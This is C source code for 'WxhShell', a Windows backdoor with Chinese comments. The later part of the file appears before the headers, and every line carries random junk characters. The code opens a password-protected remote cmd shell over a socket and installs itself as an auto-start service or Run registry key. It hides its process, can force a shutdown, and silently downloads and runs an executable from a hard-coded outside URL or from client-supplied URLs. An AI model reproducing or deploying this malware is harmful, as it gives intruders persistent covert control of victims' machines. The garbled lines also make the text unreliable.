    if(Boot(SHUTDOWN)) E`.xu>Yyj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); CIx(SeEF  
    else { t>[W]%op  
    closesocket(wsh); S"cTi[9  
    ExitThread(0); ,AP0*Ln  
    } Nap[=[rv  
    break; ; ~pgF_  
    } &BRk<iwV  
  // 获取shell ; Z]Wj9iY  
  case 's': { 2!{D~Gfl=  
    CmdShell(wsh); P.y +jyu  
    closesocket(wsh); 3YHEH\60^  
    ExitThread(0); z&6_}{2,]  
    break; gQ_<;'m)2  
  } jr=9.=jI8k  
  // 退出 jE*{^+n  
  case 'x': { h p]J> i.  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); \N9=13W<lK  
    CloseIt(wsh); $Zu?Gd?  
    break; '^UHY[mX8  
    } Zw]"p63eMa  
  // 离开 |J-X3`^\H  
  case 'q': { lq-KM8j  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ;|q<t  
    closesocket(wsh); 2_q/<8t  
    WSACleanup(); i#'K7XM2  
    exit(1); cnu&!>8V  
    break; kelBqJ-,p  
        } Rl Oy,/-<  
  } @7Ec(]yp  
  } ,"EaZ/Bl/  
ZSuoD$~k[  
  // 提示信息 T#ls2UL*xh  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); z@,pT"rb  
} \u,CixV=  
  } , Y:oTo=~  
U#z"t&o=L  
  return; GW A T0  
} 0>28o.  
UD-+BUV  
// shell模块句柄 0z>IYw|UB  
int CmdShell(SOCKET sock) ~su>RolaX  
{ Qc7*p]E&  
STARTUPINFO si; ?MH=8Cl1w  
ZeroMemory(&si,sizeof(si)); U1YqyG8  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; k8s)PN  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; SY,ns*>1F  
PROCESS_INFORMATION ProcessInfo; Xh8U}w<k6  
char cmdline[]="cmd"; W>jKWi,{  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); d:'{h"M6  
  return 0; P.Nt jz/B  
} Nw"df=,{  
n*\o. :f  
// 自身启动模式 1UMEbb  
int StartFromService(void) EID-ROMO  
{ -b!?9T?}  
typedef struct EB3/o7)L  
{ #w;"s*  
  DWORD ExitStatus; K@p9_K8  
  DWORD PebBaseAddress; rZgu`5 <a  
  DWORD AffinityMask; Mi.#x_  
  DWORD BasePriority; ~i1 jh:,  
  ULONG UniqueProcessId; oXZWg~&l^  
  ULONG InheritedFromUniqueProcessId; q7CLxv &QG  
}   PROCESS_BASIC_INFORMATION; }XUL\6U  
N^QxqQ~  
PROCNTQSIP NtQueryInformationProcess; 6.]~7n  
y(DT ^>0  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; &J/EBmY[  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; &$XTe2  
: ;8L1'  
  HANDLE             hProcess; eBa#Z1Z  
  PROCESS_BASIC_INFORMATION pbi; qlM<X?  
?GX@&_  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); {`):X_$T  
  if(NULL == hInst ) return 0; `%\CO `  
ZY<R Nwu  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); `\@n&y[`7  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); mx)!]B"  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ?$`kT..j,u  
(g@X.*c8  
  if (!NtQueryInformationProcess) return 0; f I%8@ :  
/S J><  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 8pEA3py  
  if(!hProcess) return 0; Wu6'm &t  
vVMoCG"f  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 9qDM0'WuU  
8GBKFNR 8  
  CloseHandle(hProcess); Hya.OW{  
b~UWFX#U  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); XZN@hXc9:v  
if(hProcess==NULL) return 0; >&\.{ aj  
sf$hsPC^  
HMODULE hMod; p9jC-&:  
char procName[255]; .,6o):  
unsigned long cbNeeded; 7(D)U)9h  
&KBDrJEX  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 0,-]O=   
I~6(>Z{  
  CloseHandle(hProcess); XzIC~}  
(gY W iz  
if(strstr(procName,"services")) return 1; // 以服务启动 YFu>`w^Y  
.h4NG4FIF  
  return 0; // 注册表启动 KC&XOI %  
} 02J(*_o  
MA_YMxP.'  
// 主模块 (xvg.Nby  
int StartWxhshell(LPSTR lpCmdLine) $@kOMT  
{ |%5pzYe  
  SOCKET wsl; OmkJP  
BOOL val=TRUE; q{G8 Po$z'  
  int port=0; .Y2Hd$rs  
  struct sockaddr_in door; oQpGa>6U&  
QuMv1)n  
  if(wscfg.ws_autoins) Install(); Py #EjF12  
IR]5,K^l  
port=atoi(lpCmdLine); q{}5wM  
Q }^Ip7T  
if(port<=0) port=wscfg.ws_port; ]%-U~avph  
m+8:_0x "  
  WSADATA data; L|<j/bP  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; $bp$[fX(e  
&,8Qe;  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   b3_P??yp  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); PX?%}~ v  
  door.sin_family = AF_INET; Z" H;t\P  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); $bKXP(  
  door.sin_port = htons(port); &c "!Y)%G  
qZ E3T:S  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { "oiN8#Hf  
closesocket(wsl); ;X]B0KFe7  
return 1; h{_\ok C>  
} KF(y`(8f  
'Q=)-  
  if(listen(wsl,2) == INVALID_SOCKET) { <K&A/Ue  
closesocket(wsl); bh5P98s  
return 1; lb9?Uc@  
} fBZLWfp9  
  Wxhshell(wsl); >&e=0@?+G  
  WSACleanup(); 9[X'9* ,  
:qqG%RB  
return 0; "(W;rl  
@=AQr4&  
} tA4Ra,-c  
'OTZ&;7{  
// 以NT服务方式启动 !^y;|9?O  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) "8uNa  
{ 6&'kN 2  
DWORD   status = 0; RLL ph  
  DWORD   specificError = 0xfffffff; P 0+@,kM  
lr;ubBbT  
  serviceStatus.dwServiceType     = SERVICE_WIN32; U5-8It2OR  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; t\QLj&h}E  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; jyF*JQjK4  
  serviceStatus.dwWin32ExitCode     = 0; e(^I.`9z  
  serviceStatus.dwServiceSpecificExitCode = 0; _3%:m||,XP  
  serviceStatus.dwCheckPoint       = 0; q,#s m'S  
  serviceStatus.dwWaitHint       = 0; f{L;,  
ipMSMk7gx  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); M0C)SU5"  
  if (hServiceStatusHandle==0) return; FsO-xG"@"  
l,Y5VGiH#  
status = GetLastError(); #6#n4`%ER  
  if (status!=NO_ERROR) k kD#Bb  
{ 1 Vc_jYO@  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; NL `  
    serviceStatus.dwCheckPoint       = 0; ayn aV  
    serviceStatus.dwWaitHint       = 0; 2.Ww(`swL  
    serviceStatus.dwWin32ExitCode     = status; |[5;dt_U/  
    serviceStatus.dwServiceSpecificExitCode = specificError; 6J JA"] `  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); xjnAK!sD  
    return; n7~3~i` D;  
  } :, v(l q  
b@4UR<  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; /@ g 8MUq7  
  serviceStatus.dwCheckPoint       = 0; d)biMI}<5  
  serviceStatus.dwWaitHint       = 0; r|ZB3L|7  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); k0\a7$}F  
} KK >j V  
q Sv!5&u  
// 处理NT服务事件,比如:启动、停止 g%]<sRl:-  
VOID WINAPI NTServiceHandler(DWORD fdwControl) H'k~;  
{ ZBY}Mz$  
switch(fdwControl) _(gkYJ+MK  
{ 2P'Vp7f6 Y  
case SERVICE_CONTROL_STOP: %YF /=l  
  serviceStatus.dwWin32ExitCode = 0; &-^*D%9  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; h7K,q  S  
  serviceStatus.dwCheckPoint   = 0; Gl w|*{$  
  serviceStatus.dwWaitHint     = 0; 91&=UUkK?  
  { =Oh$pZRymu  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @,Dnl v|?  
  } ^9hc`.5N&?  
  return; AIQ {^:  
case SERVICE_CONTROL_PAUSE: yr>J^Et%_  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; .i_ gE5  
  break; [X@{xF^vBQ  
case SERVICE_CONTROL_CONTINUE: 6K8v:yYPa  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; {P?DkUO}  
  break; <=%[.. (S  
case SERVICE_CONTROL_INTERROGATE: ph(LsPT-  
  break; bL0]Yuh  
}; U{l f$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <x;g9Z>(  
} T$r/XAs  
OraT$lV)_  
// 标准应用程序主函数 hF^JSCDz l  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) k)F!gV#  
{ zn= pm#L  
^qC.bv]&  
// 获取操作系统版本 Xu_1r8-|=b  
OsIsNt=GetOsVer(); 8aRmHy"9l  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Jr2>D=  
MMaS  
  // 从命令行安装 c"`HKfL  
  if(strpbrk(lpCmdLine,"iI")) Install(); UDJ#P9uy  
13 JG[,w  
  // 下载执行文件 x?0(K=h,  
if(wscfg.ws_downexe) { j/T@-7^0  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 5gx;Bp^_  
  WinExec(wscfg.ws_filenam,SW_HIDE); p'@z}T?F  
} 3~WI3ZIR  
AoxORPp'  
if(!OsIsNt) { KU+u.J  
// 如果时win9x,隐藏进程并且设置为注册表启动 &];W#9"Z  
HideProc(); 8?EKF+.u|  
StartWxhshell(lpCmdLine); Op 9+5]XF  
} 9 s2z=^  
else i+I.>L/S  
  if(StartFromService()) /-@F|,O)$n  
  // 以服务方式启动 d--6<_q  
  StartServiceCtrlDispatcher(DispatchTable); D2MIV&pahP  
else c(3idO*R)  
  // 普通方式启动 /!"sPtIh  
  StartWxhshell(lpCmdLine); 8rU| Oh  
]4*E:  
return 0; @frV:%  
} tg/!=g  
M M @&QaK  
!]7L9TGn  
), VF]  
=========================================== Jl6biJx  
cZ.p  
@2$Uk!  
pwVGe|h%,  
5HAAaI  
G&6`?1k  
" uAk>VPuuZ  
1':};}dCJ  
#include <stdio.h> KlwB oC/{K  
#include <string.h> +rrA>~  
#include <windows.h> cft@s Y  
#include <winsock2.h> R\6dvd  
#include <winsvc.h> e]:(.Wb- 9  
#include <urlmon.h> vhU $GG8  
<{eJbNp  
#pragma comment (lib, "Ws2_32.lib") #K> Ue>hx  
#pragma comment (lib, "urlmon.lib") gHWsKE  %  
<@n3vO6  
#define MAX_USER   100 // 最大客户端连接数 !i{5mc \  
#define BUF_SOCK   200 // sock buffer QT"o"B  
#define KEY_BUFF   255 // 输入 buffer leXdxpc  
qs (L2'7/  
#define REBOOT     0   // 重启 [/J(E\9  
#define SHUTDOWN   1   // 关机 }?U #@ h  
l>7?B2^<E  
#define DEF_PORT   5000 // 监听端口 }hc+ENh  
4%jQHOZ  
#define REG_LEN     16   // 注册表键长度 _tnoq;X[  
#define SVC_LEN     80   // NT服务名长度 jq/CXYv  
.  
// 从dll定义API 'L%)B-,n  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); s*e1m%  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); AD'c#CT  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); NQd0$q  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Gkdxw uRw  
4_ZHY?VRd  
// wxhshell配置信息 1=jwJv.^/  
struct WSCFG { V67<Ky>  
  int ws_port;         // 监听端口 o~'UWU'#  
  char ws_passstr[REG_LEN]; // 口令 TI^X gl~  
  int ws_autoins;       // 安装标记, 1=yes 0=no n*eqM2L  
  char ws_regname[REG_LEN]; // 注册表键名 #4& <d.aw'  
  char ws_svcname[REG_LEN]; // 服务名 )aX#RM? N  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 `S]DHxS  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Mbxrj~ue  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 7}Jn`^!  
int ws_downexe;       // 下载执行标记, 1=yes 0=no HwBJUr91]  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" [g lhru=+  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 )dRB I)P  
DV~g  
}; o{MmW~/o&  
O6\t_.  
// default Wxhshell configuration J~5+=V7OV  
struct WSCFG wscfg={DEF_PORT, t,yMO  
    "xuhuanlingzhe", aN"dk-eK  
    1, $w! v  
    "Wxhshell", ']>/$[!  
    "Wxhshell", SrvC34<7  
            "WxhShell Service", V_H0z  
    "Wrsky Windows CmdShell Service", SMHQh.O?5  
    "Please Input Your Password: ", e:iqv?2t  
  1, (=QiXX1r  
  "http://www.wrsky.com/wxhshell.exe", yJHFo[wGMJ  
  "Wxhshell.exe" P{>-MT2E  
    }; $7&t`E)qY  
A!_yZ|)$ T  
// 消息定义模块 <ta#2  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; S>EO6z#   
char *msg_ws_prompt="\n\r? for help\n\r#>"; `g,i `<  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 0/b3]{skK  
char *msg_ws_ext="\n\rExit."; J]$]zD  
char *msg_ws_end="\n\rQuit."; x@,B))WlGr  
char *msg_ws_boot="\n\rReboot..."; W0 N*c*k  
char *msg_ws_poff="\n\rShutdown..."; zFO#oW,D  
char *msg_ws_down="\n\rSave to "; 2@$`xPg  
w?A6S-z  
char *msg_ws_err="\n\rErr!"; 4mwAo  
char *msg_ws_ok="\n\rOK!"; JcI~8;Z@Z~  
"I&,':O+  
char ExeFile[MAX_PATH]; iVf8M$!m  
int nUser = 0; 5^GrG|~  
HANDLE handles[MAX_USER]; +Uf+`  
int OsIsNt; ?8@EBPpC  
-jL10~/  
SERVICE_STATUS       serviceStatus; oa8xuFu(n  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; }Uunlz<  
ZD`0(CkXb  
// 函数声明 %&S :W%qm?  
int Install(void); sWX\/Iyy2p  
int Uninstall(void); OmC F8:\/  
int DownloadFile(char *sURL, SOCKET wsh); s %S; 9 T  
int Boot(int flag); > R2o7~  
void HideProc(void); >iFi~)i_4y  
int GetOsVer(void); DeR C_ [  
int Wxhshell(SOCKET wsl); CC{{@  
void TalkWithClient(void *cs); s<fzk1LZ  
int CmdShell(SOCKET sock); Tq!.M1{&  
int StartFromService(void); v[=TPfX0  
int StartWxhshell(LPSTR lpCmdLine);  e6hfgVN  
*WZ?C|6+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); gqQ"'SRw  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); iP+3)  
/ WJ+e  
// 数据结构和表定义 eU m,=s  
SERVICE_TABLE_ENTRY DispatchTable[] = J:Ncy}AO  
{ G}p* oz~  
{wscfg.ws_svcname, NTServiceMain}, g0-J8&?X  
{NULL, NULL} =/L;}m)7  
}; \}+b_J6-  
%t J@)  
// 自我安装 L&h90Az1W  
int Install(void) )NL_))\  
{ dSw%Qv*y  
  char svExeFile[MAX_PATH];  ~xV|<;  
  HKEY key; `%A>{A"  
  strcpy(svExeFile,ExeFile); ? _Y2'O  
':LV"c4 t  
// 如果是win9x系统,修改注册表设为自启动 >'96SE3  
if(!OsIsNt) { B_#U|10et  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $mq @g  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); i2(lqhaP  
  RegCloseKey(key); -x0VvkHu  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @Zov&01  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8^|lsB}x?  
  RegCloseKey(key); $@ Fvl-lK  
  return 0; mj9r#v3.  
    } 2P4$^G[  
  } Ed=]RR 4R  
} yi$Jk}w  
else { La#otuw+?  
JVk"M=c  
// 如果是NT以上系统,安装为系统服务 i#W0  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); n%1I}?$fO  
if (schSCManager!=0) 6Om)e=gU/  
{ huw|J<$  
  SC_HANDLE schService = CreateService pz]#/Ry?  
  ( v<c@bDZ>  
  schSCManager, A,'JmF$d  
  wscfg.ws_svcname, ^wm>\o;  
  wscfg.ws_svcdisp, us TPr  
  SERVICE_ALL_ACCESS, u#uT|a.  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ui$JQ_P  
  SERVICE_AUTO_START, #\X="' /  
  SERVICE_ERROR_NORMAL, ^~Dmb2h  
  svExeFile, EA+}Rf6}  
  NULL, eH9Ofhsry  
  NULL, Fv(1A_~IS  
  NULL, N akSIGm  
  NULL, q" aUA_}\  
  NULL 7(oX 1hN  
  ); q V +gQ  
  if (schService!=0) L 2k?Pl  
  { 2Yt+[T*  
  CloseServiceHandle(schService); 1ehl=WN  
  CloseServiceHandle(schSCManager); R<GnPN:c  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); [^4)3cj7}  
  strcat(svExeFile,wscfg.ws_svcname); /PuN+M  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { F}Kkhs {  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); f8c'`$O  
  RegCloseKey(key); wmQT$`$b  
  return 0; +.u)\'r;h  
    } [~[)C]-=  
  } 0~:Eo89  
  CloseServiceHandle(schSCManager); X/l{E4Ex  
} r%^l~PN  
} :g`j gn 0  
IW<nfg  
return 1; m\hzQ9  
} MY]<^/Q  
[m9Iz!E  
// 自我卸载 +=Q/'g   
int Uninstall(void) i 6@c@n  
{ E1&9( L5  
  HKEY key; 25zmde~ w  
BS_ 3|  
if(!OsIsNt) { [$<\*d/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;`f14Fb  
  RegDeleteValue(key,wscfg.ws_regname); 4|#@41\ B  
  RegCloseKey(key); [7btoo|P]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ZHWxU  
  RegDeleteValue(key,wscfg.ws_regname); ;;#_[Zl  
  RegCloseKey(key); H>qw@JiO!  
  return 0; $gv3Up"U  
  } oN\IQ7oI  
} b,tf]Z-  
} -s zSA  
else { 8`{)1.d5[  
>$RQ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 1#D&cx6  
if (schSCManager!=0) ,_$}>MY;  
{ rEF0A&5  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); R'udC}  
  if (schService!=0) k"z ~>  
  { 1[g -f ,  
  if(DeleteService(schService)!=0) { nsM=n}$5x  
  CloseServiceHandle(schService); BIk0n;Kz<L  
  CloseServiceHandle(schSCManager); ~fV\ X*  
  return 0; dx&!RK+  
  } +~x'1*A_  
  CloseServiceHandle(schService); ?DwI>< W  
  } `Nnaw+<]  
  CloseServiceHandle(schSCManager); ]+ KN9  
} 5OR2\h!XZt  
} b5@sG^  
&qjc+-r{l  
return 1; wigs1  
} VbG#)>"F  
AVnH|31dC~  
// 从指定url下载文件 i0TbsoKh:  
int DownloadFile(char *sURL, SOCKET wsh) %2;Nj; J$  
{ /TndB7l"3  
  HRESULT hr; vh/&KTe?:  
char seps[]= "/"; cS2PrsUx  
char *token; MP3Vo|}3  
char *file; yd|roG/  
char myURL[MAX_PATH]; cs]h+yE  
char myFILE[MAX_PATH]; AL;z's(F?  
-P.51q  
strcpy(myURL,sURL); 6L!/#d0  
  token=strtok(myURL,seps); '-l.2IUyT  
  while(token!=NULL) p=jpk@RX  
  { !S3^{l-  
    file=token; =] +owl2  
  token=strtok(NULL,seps); @PZ{(  
  } s0To^I  
0Xw$l3@N^  
GetCurrentDirectory(MAX_PATH,myFILE); ?]AF? 0/  
strcat(myFILE, "\\");  3cA '9  
strcat(myFILE, file); yp!7^  
  send(wsh,myFILE,strlen(myFILE),0); [2P6XoI#  
send(wsh,"...",3,0); VrIR!9%:  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); KbSE=3  
  if(hr==S_OK) Tfz _h~D  
return 0; 6KRC_-  
else 5<>"d :9  
return 1; YZ k.{#^c  
W5Uw=!LdEY  
} KSAE!+  
rQD^O4j R  
// 系统电源模块 :Dj0W8V  
int Boot(int flag) !kS/Ei  
{ 4Jf9N'  
  HANDLE hToken; F;L8FL-  
  TOKEN_PRIVILEGES tkp; KK}ox%j  
|E9'ii&?B  
  if(OsIsNt) { )kT.3 Q  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); %6W%-`  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); R uGG3"|  
    tkp.PrivilegeCount = 1; Lb,wn{  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; i*((@:  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ]Zz.n5c  
if(flag==REBOOT) { o1?S*  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) )~0TGy|  
  return 0; ri%j*Kn  
} ni85Ne$  
else { ^D76_'{  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) \iP5.3C  
  return 0; L++qMRk9  
} \^1S:z  
  } {e5DQ21.  
  else { bd\%K`JQ{  
if(flag==REBOOT) { P~M[i9 V  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) w{*PZb4  
  return 0; ~1&WR`U  
} E/zclD5S  
else { aJ QzM  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) U=WS]  
  return 0; %:v<&^oDlm  
} _G&gF .|  
} GC~nr-O  
UqD ]@s`  
return 1; PthgxB^  
} nV`U{}x  
BwkY;Ur/AL  
// win9x进程隐藏模块 N% ?R(  
void HideProc(void) y 2)W"PuG  
{ R@-x!*z  
osl\j]U8  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); wB bCGU  
  if ( hKernel != NULL ) d%UzQ*s  
  { $A`m8?bY  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); \wD L oR  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); \,fa"^8  
    FreeLibrary(hKernel); W*Si"s2  
  } fwvwmZW  
HB{'MBs  
return; SK#&%Yk  
} 4l7 Ny\J  
P2@Z7DhQ  
// 获取操作系统版本 e=nvm'[h  
int GetOsVer(void) BA2J dU  
{ z)(W x">  
  OSVERSIONINFO winfo; 1Au+X3   
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 8ok=&Gq4  
  GetVersionEx(&winfo); M!kSt1  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) KIcIYCBz  
  return 1; b8_F2  
  else "X^<g{]  
  return 0; R*!s'R  
} Lg~C:BN F  
zPx R=0|  
// 客户端句柄模块 b"Q8[k |d  
int Wxhshell(SOCKET wsl) 2l O(f+  
{ 7f}uRXBV$A  
  SOCKET wsh; l -xc*lC  
  struct sockaddr_in client; Ix6\5}.c9  
  DWORD myID; [@ev%x,  
tfN[-3)Z  
  while(nUser<MAX_USER) xnt)1Q  
{ 8}m J )9<7  
  int nSize=sizeof(client); e`S\-t?Z  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); DnFzCJ  
  if(wsh==INVALID_SOCKET) return 1; F3EAjO)ch  
Y X^c}t}U  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); bY2R/FNL=  
if(handles[nUser]==0) K6t"98  
  closesocket(wsh); Hf@4p'  
else ~1%*w*  
  nUser++; u\Ylo.)b  
  } #|ts1lD#ah  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); H7GI`3o  
T{k_3[{0o  
  return 0; Xg96I: r'p  
} k9f|R*LM  
p X{wEc6}  
// 关闭 socket NX,m6u  
void CloseIt(SOCKET wsh) N.vWZ7l8  
{ b9RHsr]V  
closesocket(wsh); R\5,H!V9n  
nUser--; {KNaJ/:>W  
ExitThread(0); \0x>#ygX  
} _i}b]xfM  
n82tZpn  
// 客户端请求句柄 :31_WJ^  
void TalkWithClient(void *cs) b^Z2Vf:k]  
{ <7VLUk}  
lG\uJxV  
  SOCKET wsh=(SOCKET)cs; qC> tni%  
  char pwd[SVC_LEN]; D{6 y^@/  
  char cmd[KEY_BUFF]; (|K+1R  
char chr[1]; nsR CDUCi  
int i,j; @  W>@6E  
a]u.Uqyx2w  
  while (nUser < MAX_USER) { %-blx)Pc  
/=S@3?cQAB  
if(wscfg.ws_passstr) { PGJh>[ s  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); a#=d{/ ab  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); J:N(U0U  
  //ZeroMemory(pwd,KEY_BUFF); VGc*aQYa  
      i=0; ;[}OZt  
  while(i<SVC_LEN) { ~i"=:D  
*'-4%7C`1  
  // 设置超时 T;92M}\  
  fd_set FdRead; KVa{;zBwl  
  struct timeval TimeOut; k~8-E u1  
  FD_ZERO(&FdRead); ]&%KU)i?  
  FD_SET(wsh,&FdRead); ;DuVb2~+  
  TimeOut.tv_sec=8; x vs=T  
  TimeOut.tv_usec=0; gB'ajX=OA/  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ; BN81;  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); >K9Ia4I,  
`q-+r1u  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Mp`$1Ksn  
  pwd=chr[0]; .t_t)'L  
  if(chr[0]==0xd || chr[0]==0xa) { CM_hN>%w[  
  pwd=0; tn5%zJ#+  
  break; N:<$]x>  
  } eTa_RO,x  
  i++; t(#9.b`W)  
    } V'&;r'#O  
-Q n-w3~&  
  // 如果是非法用户,关闭 socket !q2zuxq!R  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); )%K<pIk  
} e'K~WNT  
 g{Hgs  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); N(7 XILC  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (bb!VVA  
^X96yj'?  
while(1) { VmqJMU>.  
= wD#H@h  
  ZeroMemory(cmd,KEY_BUFF); 4-yK!LR  
+K1M&(  
      // 自动支持客户端 telnet标准   6$R9Y.s>Z  
  j=0; AM}2=Ip  
  while(j<KEY_BUFF) { M`cxxDj&j  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +HS]kFH  
  cmd[j]=chr[0]; <+k&8^:bi  
  if(chr[0]==0xa || chr[0]==0xd) { 9hA`I tS  
  cmd[j]=0; 0vv~G\yM  
  break; p/ ITg  
  } ^p3 GT6  
  j++; ]=~dyi  
    } _9h$8(wjn  
e$~[\ w  
  // 下载文件 izl6L  
  if(strstr(cmd,"http://")) { \4N8-GwZQ  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); q^aDZzx,z  
  if(DownloadFile(cmd,wsh)) DG;7+2U  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); $r!CQ 2S  
  else M6g8+sio  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &&&-P\3  
  } HA,o2jZ?In  
  else { ` g]  
>bW=oTFz  
